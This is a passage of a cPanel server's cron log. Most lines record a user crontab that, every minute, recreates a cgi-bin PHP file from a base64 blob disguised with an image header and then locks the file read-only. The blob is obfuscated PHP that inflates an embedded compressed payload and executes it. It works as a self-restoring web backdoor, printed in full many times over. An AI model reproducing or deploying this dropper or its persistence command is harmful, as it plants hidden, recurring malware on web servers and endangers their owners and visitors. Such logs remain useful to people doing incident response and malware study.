"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:15:01 server CROND[21913]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 07:16:01 server CROND[22037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:17:01 server CROND[22124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:18:01 server CROND[22187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:19:01 server CROND[22248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:20:01 server CROND[22395]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 07:20:01 server CROND[22396]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 07:20:01 server CROND[22397]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 07:20:01 server CROND[22398]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 07:20:01 server CROND[22400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:21:01 server CROND[22526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:22:01 server CROND[22586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:23:01 server CROND[22656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:24:01 server CROND[22712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:25:01 server CROND[22773]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 07:25:01 server CROND[22774]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 07:25:01 server CROND[22775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:26:01 server CROND[22885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:27:01 server CROND[23029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 07:27:01 server CROND[23030]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 07:28:01 server CROND[23094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5